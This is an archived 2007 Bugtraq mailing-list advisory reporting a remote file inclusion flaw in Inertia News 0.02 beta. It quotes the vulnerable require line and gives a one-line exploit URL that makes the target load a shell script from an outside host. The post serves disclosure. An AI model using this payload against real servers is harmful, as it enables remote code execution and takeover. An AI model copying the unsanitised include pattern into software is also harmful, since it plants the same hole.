Inertia News Remote File İnclude

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Inertia News Remote File İnclude
From: crazy_king@xxxxxxxx
Date: 12 Feb 2007 20:55:18 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

Version :
0.02 beta

Error : 
require ("$inews_path/inertia_sql_class.php");

Exploit : 
http://www.victim.com/inertianews_main.php?inews_path=http://www.site.com/shell.txt

Eno7.Org - Crazy-King.ORg

Thanks : Apaci & Erne & Eno7 & Tamturk & UyussMan & Ayy&#305;ld&#305;z Tim

Prev by Date: Re: [Full-disclosure] Firefox focus stealing vulnerability (possibly other browsers)
Next by Date: Re: [BLACKLIST] [Full-disclosure] Solaris telnet vulnberability - how many on yournetwork?
Previous by thread: PHP 5.2.1 crash bug
Next by thread: Re: [BLACKLIST] [Full-disclosure] Solaris telnet vulnberability - how many on yournetwork?
Index(es):
- Date
- Thread

Inertia News Remote File &#304;nclude

Inertia News Remote File İnclude